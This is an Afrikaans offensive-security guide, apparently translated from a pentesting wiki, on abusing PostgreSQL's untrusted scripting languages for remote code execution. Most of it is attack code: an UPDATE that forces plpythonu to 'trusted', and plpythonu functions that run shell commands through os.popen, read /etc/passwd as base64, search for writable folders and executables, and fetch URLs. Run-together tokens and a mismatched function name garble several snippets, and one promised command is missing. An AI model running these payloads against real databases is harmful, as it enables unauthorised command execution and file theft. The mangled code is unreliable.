Die PostgreSQL databasis waartoe jy toegang het, mag verskillende skripting tale geïnstalleer hê wat jy kan misbruik om arbitraire kode uit te voer.
Jy kan hulle aan die gang kry:
\dL *SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Most van die skripting tale wat jy in PostgreSQL kan installeer het 2 variasies: die vertroude en die onvertroude. Die onvertroude sal 'n naam hê wat eindig op "u" en sal die weergawe wees wat jou toelaat om kode uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)
As jy vind dat 'n interessante taal geïnstalleer is maar onvertroude deur PostgreSQL (lanpltrusted is false) kan jy probeer om dit te vertrou met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (jy moet superadmin wees):
Let daarop dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na hierdie byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs al vind jy net die vertroude een geïnstalleer.
plpythonu/plpython3u
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$import jsonfrom os import walkfiles =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):writables = []def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK):writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_writable(os.path.join(path, item))find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in os.path.basename(i):b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find(dir)b = []for i in a:b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in i:b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$import base64encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$import osstatus= os.stat(path)perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$import urllibr = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import requestr = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3